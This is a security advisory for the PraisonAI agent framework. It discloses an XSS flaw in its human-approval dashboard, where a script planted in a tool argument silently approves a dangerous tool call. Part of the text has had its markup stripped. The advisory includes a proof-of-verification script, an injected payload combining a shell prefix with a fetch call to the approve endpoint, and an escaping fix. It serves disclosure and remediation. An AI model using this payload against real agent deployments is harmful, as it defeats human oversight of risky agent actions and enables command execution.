GitHub Advisoryadvisory · PyPI

GHSA-63v4-w882-g4x2 PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools

HIGH Published 2026-06-18 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-56840
Ecosystem
PyPI
Packages
praisonai
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-79
Reviewed
2026-06-18

Affected packages

• PyPI praisonai: >= 4.5.2, < 4.6.59 → fixed in 4.6.59

Description

HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools Summary `praisonai.bots.HTTPApproval` renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's `/approve/{request_id}/decide` endpoint, causing `HTTPApproval` to return `approved=True`. The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at the approval decision. It does not execute the command. Affected Versions Proposed affected range: `>= 4.5.2, " "fetch(location.pathname+'/decide',{" "method:'POST',headers:{'Content-Type':'application/json'}," "body:'{\"decision\":\"approve\"}'})" "" ) async def main(): backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5) request = ApprovalRequest( tool_name="execute_command", arguments={"command": payload}, risk_level="critical", agent_name="pov-agent", ) task = asyncio.create_task(backend.request_approval(request)) request_id = "" for _ in range(100): if backend._pending: request_id = next(iter(backend._pending)) break await asyncio.sleep(0.05) assert request_id url = f"http://127.0.0.1:{backend._port}/approve/{request_id}" async with aiohttp.ClientSession() as session: async with session.get(url) as response: page = await response.text() raw_script_present = "fetch(location.pathname+'/decide'" in page script_not_html_escaped = "&lt;script" not in page payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page payload_not_truncated = "..." not in page[ page.find(""):page.find("") + len(payload) + 10 ] assert raw_script_present assert script_not_html_escaped assert payload_not_truncated # Same request the injected same-origin script submits. async with session.post(f"{url}/decide", json={"decision": "approve"}) as response: post_body = await response.text() decision = await task await backend.shutdown() print(json.dumps({ "payload_len": len(payload), "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": raw_script_present, "script_not_html_escaped": script_not_html_escaped, "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint, "payload_not_truncated": payload_not_truncated, "post_body": post_body, "decision_approved": decision.approved, "decision_reason": decision.reason, "vulnerable": bool( raw_script_present and script_not_html_escaped and payload_uses_same_origin_decide_endpoint and payload_not_truncated and decision.approved ), }, indent=2)) asyncio.run(main()) ``` Expected affected output includes: ```json { "payload_len": 175, "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": true, "script_not_html_escaped": true, "payload_uses_same_origin_decide_endpoint": true, "payload_not_truncated": true, "decision_approved": true, "vulnerable": true } ``` The relevant injected argument shape is: ```text touch /tmp/prai010 # fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'}) ``` The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool. Suggested Fix Escape every untrusted value before inserting it into the approval HTML: • `tool_name` • `risk_level` • `agent_name` • every argument key • every argument value For example, use `html.escape(str(value), quote=True)` or a template engine that auto-escapes by default. Add regression tests that include `...` in tool arguments and assert that the rendered page contains escaped text, not a script element. Minimal patch shape: ```python from html import escape def h(value: object) -> str: return escape(str(value), quote=True) tool_name = h(info.get("tool_name", "unknown")) risk_level = h(info.get("risk_level", "unknown")) agent_name = h(info.get("agent_name", "")) args_html = "" for k, v in arguments.items(): val_str = str(v) if len(val_str) > 200: val_str = val_str[:197] + "..." args_html += ( f"{h(k)}" f"{h(val_str)}" ) `…

Related

Alias · CVE (1)

  • CVE-2026-56840 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References